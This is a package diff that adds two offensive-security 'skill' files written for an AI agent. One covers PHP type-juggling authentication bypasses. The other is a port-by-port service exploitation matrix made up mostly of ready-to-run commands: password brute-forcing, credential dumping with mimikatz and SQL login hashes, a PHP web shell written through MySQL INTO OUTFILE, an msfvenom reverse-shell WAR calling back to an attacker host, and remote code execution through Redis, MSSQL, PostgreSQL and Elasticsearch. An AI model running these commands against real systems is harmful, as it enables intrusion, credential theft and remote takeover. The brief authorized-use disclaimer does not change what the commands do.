ineedcodes 1.6.1 → 1.7.0

package/skills/type-juggling/SKILL.md

@@ -0,0 +1,291 @@
+---
+name: type-juggling
+description: >-
+  PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.gated: true
+---
+
+# SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
+
+> **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply.
+
+## 0. QUICK START
+
+**First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
+
+### First-pass payloads (auth / token shape)
+
+```text
+password[]=x
+password=
+0
+0e12345
+240610708
+QNKCDZO
+true
+[]
+{"password":true}
+admin%00
+```
+
+### Minimal PHP probes (local or `php -r` in lab)
+
+```php
+<?php
+// Loose compare probes — run in target PHP major version if possible
+var_dump('0e123' == '0e999');
+var_dump('123a' == 123);
+var_dump(md5('240610708') == md5('QNKCDZO'));
+```
+
+### Routing hints
+
+| Clue | Next step |
+|---|---|
+| Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 |
+| `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes |
+| `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 |
+| `strcmp`、`json_decode(..., true)`、`intval` | Section 5 |
+
+---
+
+## 1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS
+
+PHP compares operands with type juggling unless you use `===` or `hash_equals()` for secrets.
+
+### 1.1 Core examples (strings vs numbers)
+
+| Expression | Result | Mechanism (short) |
+|---|---|---|
+| `'0010e2' == '1e3'` | **true** | Both strings look numeric → compared as **floats**; both parse to **1000.0** (not zero — common exam trap; see next row for real “both zero”) |
+| `'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` | **true** | Both parse as **0.0** in scientific notation |
+| `'123a' == 123` | **true** | String cast to int stops at first non-digit → `123` |
+| `'abc' == 0` | **true** (PHP **7.x and earlier**) | Non-numeric string compared to int → string becomes `0` |
+| `'' == 0` | **true** | Empty string → `0` |
+| `'' == false` | **true** | both “falsy” in loose rules |
+| `false == NULL` | **true** | loose equality |
+| `0 == false` | **true** | loose equality |
+| `'' == 0 == false == NULL` | **true** (chain) | Each adjacent pair is **true** under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain |
+| `'0' == false` | **true** | String `'0'` is the **only** non-empty string that compares as false to boolean |
+| `'php' == 0` | **false** (PHP **8+**) | PHP 8: non-numeric string **no longer** equals `0` |
+
+### 1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
+
+| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
+|---|---|---|
+| `0 == "foo"` | **true** (string → 0) | **false** |
+| String-to-number for `"123a"` | Still truncates for `(int)` / numeric compare in many `==` paths | Same idea for numeric strings; **non-numeric** vs int fixed as above |
+| `md5([])` / `sha1([])` | May warn / `NULL`-like behavior in older patterns | **TypeError** for wrong types — kills classic `[]` tricks unless error handling collapses to NULL |
+
+**Tester takeaway**: always note **PHP version** from headers, `X-Powered-By`, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
+
+### 1.3 Safe alternative (defense / verification)
+
+```php
+hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
+// or
+$expected === $actual;
+```
+
+---
+
+## 2. MAGIC HASHES (`0e…` + digits only)
+
+When both sides are **hex-looking hash strings** that match `^0e[0-9]+$`, PHP treats them as **floats in scientific notation** → value **0.0**. Then `md5(A) == md5(B)` is **true** even though digests differ as strings.
+
+### 2.1 Reference table (MD5 / SHA-1 and longer algos)
+
+| Algorithm | Example input | Digest (starts with `0e` + all decimal digits) |
+|---|---|---|
+| **MD5** | `240610708` | `0e462097431906509019562988736854` |
+| **MD5** | `QNKCDZO` | `0e830400451993494058024219903391` |
+| **SHA-1** | `10932435112` | `0e07766915004133176347055865026311692244` |
+| **SHA-224** | *(brute-force / precomputed)* | Example form: `0e` + decimal digits only → `==` with another such string is true |
+| **SHA-256** | *(brute-force / precomputed)* | Same pattern: only strings matching `^0e\d+$` collide under `==` |
+
+**Why it works**: `md5('240610708') == md5('QNKCDZO')` → both sides match `^0e[0-9]+$` → both interpreted as **0.0 == 0.0** → **true**.
+
+### 2.2 Exploit pattern in code
+
+```php
+if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
+    // intended: different strings, same md5 (impossible for md5)
+    // actual: two different strings whose *digests* are magic hashes
+}
+```
+
+### 2.3 Payload sketch (pair hunting)
+
+```text
+?a=240610708&b=QNKCDZO
+```
+
+For SHA-224/256, treat as **search problem**: brute-force inputs until digest matches `^0e\d+$`; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
+
+---
+
+## 3. HMAC BYPASS (LOOSE COMPARE VS `"0"` OR `0`)
+
+If logic uses **loose** inequality against a constant:
+
+```php
+if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
+// or == 0, == false with string "0e...", etc.
+```
+
+Brute-force **`$data`** (e.g. timestamp, nonce, counter) until `hash_hmac` output matches **`^0e[0-9]+$`** (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to `0` or to another magic digest under `==`.
+
+### Example (MD5-style `0e` digest for a numeric message)
+
+| Concept | Example |
+|---|---|
+| Message type | Unix timestamp, incrementing id, millisecond clock |
+| Timestamp brute-force pattern | Tutorials sometimes cite `1539805986` → `0e772967136366835494939987377058` as a **magic-hash style** example; **`md5('1539805986')` does not yield that digest** in stock PHP — use the idea (scan timestamps / counters until output matches `^0e[0-9]+$`) and **always verify against the exact function + key** in the target code. |
+| Goal | Find `$data` such that `hash_hmac('md5', $data, $key)` matches `^0e[0-9]+$` |
+| Note | Without knowing `$key`, you may still brute **`$data`** if algorithm/output are visible in a oracle; CTFs often leak or fix key |
+
+```text
+# Conceptual: try many timestamps
+for t in range(T0, T1):
+    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
+        use t
+```
+
+**Mitigation**: `hash_equals($mac, $expected)` + fixed-length hex/binary encoding; never compare HMAC to bare `"0"`.
+
+---
+
+## 4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
+
+Invalid types can yield **`NULL`** on the compared side; loose equality to another `NULL` or coerced value may pass.
+
+| Call | Typical PHP 7/8 behavior |
+|---|---|
+| `md5([])` | PHP 8: **TypeError**; older: warnings / not reliable across versions |
+| `sha1([])` | Same |
+| **Idea** | If error handler or custom wrapper converts failures to **`NULL`**, then `NULL == NULL` or `NULL == sha1("x")` if other side is also NULL |
+
+```php
+// CTF / broken code mental model:
+@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true
+```
+
+**Real audits**: look for **`@`**, custom `try/catch` that sets hash to `null`, or user input passed where a string is required.
+
+---
+
+## 5. CTF PATTERNS
+
+### 5.1 `strcmp` / `strcasecmp` with arrays
+
+```php
+strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
+// NULL == 0  → true in loose compare if code does:
+if (strcmp($_GET['p'], $secret) == 0)
+```
+
+Payload:
+
+```text
+?p[]=1
+```
+
+### 5.2 `intval` bypass
+
+```php
+// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
+intval("0x1A", 0);   // → 26
+
+// Octal: leading 0 can be parsed as octal with base 0
+intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)
+
+// Scientific notation: intval() alone stops at 'e'; cast via float first
+intval((float) "1e2"); // → 100
+```
+
+```text
+?id=0x1A
+?id=010
+?id=1e2
+```
+
+### 5.3 `json_decode` + `true` for associative array auth
+
+```json
+{"password": true}
+```
+
+```php
+$j = json_decode($input, true);
+if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
+```
+
+### 5.4 `is_numeric` + loose compare
+
+```php
+is_numeric("0e12345");  // true
+"0e12345" == 0;         // true (scientific notation → 0.0)
+```
+
+### 5.5 Deserialization + magic properties
+
+Unserialize user input into objects whose `__toString` or properties feed into `md5($obj)` or loose compare — combine with **magic hash** strings on properties (CTF). Look for `unserialize($_…)` near `==` on hashes.
+
+---
+
+## 6. DECISION TREE
+
+```text
+                         +------------------+
+                         | PHP loose compare|
+                         | or hash == hash? |
+                         +--------+---------+
+                                  |
+                    +-------------+-------------+
+                    |                           |
+             +------v------+             +------v------+
+             | Uses === or |             | Uses == or   |
+             | hash_equals |             | strcmp == 0  |
+             +------+------+             +------+-------+
+                    |                           |
+               STOP (likely)              +-----v-----+
+                                          | Operand   |
+                                          | types?    |
+                                          +-----+-----+
+                           +--------------+---+--------------+
+                           |              |                  |
+                    +------v------+ +-----v-----+    +-------v--------+
+                    | Both numeric| | One int & |    | Hash digests   |
+                    | strings 0e… | | one string|    | both 0e\d+ ?   |
+                    +------+------+ +-----+-----+    +-------+--------+
+                           |              |                  |
+                      MAGIC HASH    STRING/INT           MAGIC HASH
+                      COLLISION     JUGGLING             (md5/sha1/…)
+                           |              |                  |
+                           +------+-------+------------------+
+                                  |
+                           +------v------+
+                           | HMAC / MAC  |
+                           | vs "0"      |
+                           +------+------+
+                                  |
+                           brute $data
+                           for 0e… digest
+                                  |
+                           +------v------+
+                           | Arrays /    |
+                           | json true / |
+                           | strcmp([])  |
+                           +-------------+
+```
+
+### Tool references
+
+| Tool | Use |
+|---|---|
+| Local `php` CLI | Reproduce `==` behavior for target major version |
+| Static code review | Grep `==`, `!=` on crypto outputs; find missing `hash_equals` |
+| CTF frameworks | Payload generators for magic hashes and `0e` search |
+
+---
+
+**Safety & scope**: Use only on **authorized** targets (CTF, lab, written permission). This skill explains **language semantics** for defense and assessment — not a license to attack systems without consent.

package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md

@@ -0,0 +1,340 @@
+---
+name: port-service-matrix
+description: >-
+  Comprehensive service exploitation matrix organized by port number. Covers 20+ common services with enumeration, exploitation, and post-exploitation techniques for each.
+---
+
+# PORT / SERVICE EXPLOITATION MATRIX
+
+> Supplementary reference for [unauthorized-access-common-services](./SKILL.md). Organized by port for rapid triage during service enumeration.
+
+---
+
+## Port 21 — FTP
+
+```bash
+# Anonymous login
+ftp TARGET
+> anonymous / anonymous@
+
+# Enumerate
+nmap -sV -p 21 --script=ftp-anon,ftp-bounce,ftp-syst TARGET
+
+# PUT to webroot (if writable + mapped to web directory)
+ftp TARGET
+> put shell.php
+
+# FTP bounce scan (use FTP server to port scan internal hosts)
+nmap -Pn -b anonymous@FTP_SERVER INTERNAL_TARGET
+```
+
+## Port 22 — SSH
+
+```bash
+# Brute force
+hydra -l root -P wordlist.txt ssh://TARGET
+crackmapexec ssh TARGET -u users.txt -p passwords.txt
+
+# Key reuse (found private key elsewhere)
+ssh -i found_key user@TARGET
+
+# Agent forwarding abuse
+# If SSH_AUTH_SOCK is set on compromised host:
+ssh-add -l    # list forwarded keys
+ssh -A user@NEXT_TARGET   # use forwarded key to hop
+
+# Username enumeration (CVE-2018-15473)
+python3 ssh_user_enum.py TARGET -u userlist.txt
+```
+
+## Port 25 — SMTP
+
+```bash
+# Open relay test
+nmap -p 25 --script smtp-open-relay TARGET
+
+# User enumeration via VRFY/EXPN
+smtp-user-enum -M VRFY -U users.txt -t TARGET
+smtp-user-enum -M EXPN -U users.txt -t TARGET
+smtp-user-enum -M RCPT -U users.txt -t TARGET -D domain.com
+
+# Header injection
+# In email form: inject headers via newline
+attacker@evil.com%0ACc:victim@target.com
+```
+
+## Port 53 — DNS
+
+```bash
+# Zone transfer
+dig axfr @TARGET domain.com
+host -l domain.com TARGET
+
+# Subdomain brute force
+gobuster dns -d domain.com -w subdomains.txt -r TARGET:53
+dnsenum --dnsserver TARGET domain.com
+
+# DNS rebinding
+# Bind attacker domain to alternate between ATTACKER_IP and INTERNAL_IP
+# Bypass same-origin checks to access internal services
+```
+
+## Port 80/443 — HTTP/HTTPS
+
+See web application testing skills:
+- [injection-checking](../injection-checking/SKILL.md) for input-based attacks
+- [auth-sec](../auth-sec/SKILL.md) for authentication testing
+- [file-access-vuln](../file-access-vuln/SKILL.md) for file operations
+- [recon-and-methodology](../recon-and-methodology/SKILL.md) for web reconnaissance
+
+## Port 88 — Kerberos
+
+```bash
+# AS-REP Roasting (no pre-auth required accounts)
+GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip TARGET -format hashcat
+hashcat -m 18200 asrep_hashes.txt wordlist.txt
+
+# Kerberoasting
+GetUserSPNs.py domain.com/user:pass -dc-ip TARGET -request
+hashcat -m 13100 tgs_hashes.txt wordlist.txt
+```
+
+See [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for full Kerberos attack playbook.
+
+## Port 110/143 — POP3/IMAP
+
+```bash
+# Brute force
+hydra -l user -P wordlist.txt pop3://TARGET
+hydra -l user -P wordlist.txt imap://TARGET
+
+# Manual POP3 login
+nc TARGET 110
+> USER admin
+> PASS password
+> LIST
+> RETR 1
+```
+
+## Port 135 — MSRPC
+
+```bash
+# Endpoint enumeration
+rpcdump.py TARGET
+rpcmap.py 'ncacn_ip_tcp:TARGET'
+
+# Remote execution via DCOM
+dcomexec.py domain/user:pass@TARGET 'whoami'
+
+# IOXIDResolver — network interface enumeration
+IOXIDResolver.py -t TARGET
+```
+
+## Port 139/445 — SMB
+
+```bash
+# Null session enumeration
+smbclient -L //TARGET -N
+enum4linux -a TARGET
+crackmapexec smb TARGET -u '' -p '' --shares
+
+# Share enumeration with creds
+smbmap -H TARGET -u user -p pass
+crackmapexec smb TARGET -u user -p pass --shares
+
+# EternalBlue (MS17-010)
+nmap -p 445 --script smb-vuln-ms17-010 TARGET
+
+# NTLM relay (see network-protocol-attacks)
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# PsExec / WMIExec / SMBExec
+psexec.py domain/user:pass@TARGET
+wmiexec.py domain/user:pass@TARGET
+smbexec.py domain/user:pass@TARGET
+```
+
+## Port 389/636 — LDAP
+
+```bash
+# Anonymous bind
+ldapsearch -x -H ldap://TARGET -b "DC=domain,DC=com"
+
+# Base DN enumeration
+ldapsearch -x -H ldap://TARGET -s base namingcontexts
+
+# Dump all users
+ldapsearch -x -H ldap://TARGET -D "user@domain.com" -w pass -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName
+
+# LDAP injection
+*)(uid=*))(|(uid=*
+admin)(|(password=*
+```
+
+## Port 1433 — MSSQL
+
+```bash
+# Brute force
+hydra -l sa -P wordlist.txt mssql://TARGET
+crackmapexec mssql TARGET -u users.txt -p passwords.txt
+
+# xp_cmdshell
+mssqlclient.py domain/user:pass@TARGET
+SQL> enable_xp_cmdshell
+SQL> xp_cmdshell whoami
+
+# Linked servers → lateral movement
+SQL> SELECT * FROM openquery("LINKED_SERVER", 'select @@servername')
+SQL> EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
+
+# Credential extraction
+SQL> SELECT name,password_hash FROM sys.sql_logins
+```
+
+## Port 1521 — Oracle
+
+```bash
+# TNS listener enumeration
+tnscmd10g status -h TARGET
+odat sidguesser -s TARGET    # brute force SIDs
+
+# Default SIDs: XE, ORCL, ORCLCDB, PROD
+
+# OS command execution (via Java)
+odat java -s TARGET -d SID -U user -P pass --exec "whoami"
+
+# File read/write
+odat utlfile -s TARGET -d SID -U user -P pass --getFile /etc passwd
+```
+
+## Port 3306 — MySQL
+
+```bash
+# Brute force
+hydra -l root -P wordlist.txt mysql://TARGET
+
+# UDF command execution
+mysql> SELECT * FROM mysql.func;   -- check existing UDFs
+# Upload UDF .so → CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so';
+# mysql> SELECT sys_exec('whoami');
+
+# File read
+mysql> SELECT LOAD_FILE('/etc/passwd');
+
+# File write (INTO OUTFILE — requires FILE privilege)
+mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
+```
+
+## Port 3389 — RDP
+
+```bash
+# Brute force
+hydra -l admin -P wordlist.txt rdp://TARGET
+crowbar -b rdp -s TARGET/32 -u admin -C wordlist.txt
+
+# BlueKeep (CVE-2019-0708)
+nmap -p 3389 --script rdp-vuln-ms12-020 TARGET
+
+# Session hijacking (if SYSTEM on target)
+query user
+tscon SESSION_ID /dest:console   # hijack without password (requires SYSTEM)
+
+# RDP credential theft
+mimikatz > ts::logonpasswords
+```
+
+## Port 5432 — PostgreSQL
+
+```bash
+# Brute force
+hydra -l postgres -P wordlist.txt postgres://TARGET
+
+# COPY command execution
+psql -h TARGET -U postgres
+postgres=# CREATE TABLE cmd_exec(cmd_output text);
+postgres=# COPY cmd_exec FROM PROGRAM 'id';
+postgres=# SELECT * FROM cmd_exec;
+
+# Large object file read
+postgres=# SELECT lo_import('/etc/passwd');
+postgres=# SELECT * FROM pg_largeobject;
+
+# Extension exploitation
+postgres=# CREATE EXTENSION dblink;
+```
+
+## Port 5985/5986 — WinRM
+
+```bash
+# Evil-WinRM
+evil-winrm -i TARGET -u user -p pass
+evil-winrm -i TARGET -u user -H NTLM_HASH
+
+# PowerShell remoting
+$cred = Get-Credential
+Enter-PSSession -ComputerName TARGET -Credential $cred
+
+# CrackMapExec
+crackmapexec winrm TARGET -u user -p pass -x 'whoami'
+```
+
+## Port 6379 — Redis
+
+See [unauthorized-access-common-services SKILL.md §2](./SKILL.md) for full Redis exploitation (SSH key write, crontab, webshell, master-slave RCE).
+
+```bash
+# Quick check
+redis-cli -h TARGET ping
+redis-cli -h TARGET INFO keyspace
+
+# Module load RCE
+redis-cli -h TARGET MODULE LOAD /path/to/evil.so
+redis-cli -h TARGET system.exec "id"
+```
+
+## Port 8080 — Tomcat / Jenkins
+
+```bash
+# Tomcat default credentials
+# admin:admin, tomcat:tomcat, admin:password, manager:manager
+curl -u tomcat:tomcat http://TARGET:8080/manager/html
+
+# WAR deployment for RCE
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
+curl -u tomcat:tomcat --upload-file shell.war http://TARGET:8080/manager/text/deploy?path=/shell
+
+# Jenkins Groovy console (/script)
+def cmd = "whoami".execute()
+println cmd.text
+```
+
+## Port 9200 — Elasticsearch
+
+```bash
+# Check for no auth
+curl http://TARGET:9200/
+curl http://TARGET:9200/_cat/indices?v
+
+# Dump all data
+curl http://TARGET:9200/_search?pretty&size=1000
+
+# Script execution (if enabled)
+curl -X POST http://TARGET:9200/_search -H 'Content-Type: application/json' -d'
+{"query":{"match_all":{}},"script_fields":{"cmd":{"script":"Runtime.getRuntime().exec(\"id\")"}}}'
+```
+
+## Port 27017 — MongoDB
+
+```bash
+# No auth check
+mongosh --host TARGET
+> show dbs
+> use admin
+> db.getUsers()
+
+# Dump all collections
+mongodump --host TARGET --out /tmp/mongodump/
+
+# SSRF to admin API (MongoDB Atlas / Ops Manager)
+# Internal REST API may allow user creation or config changes
+```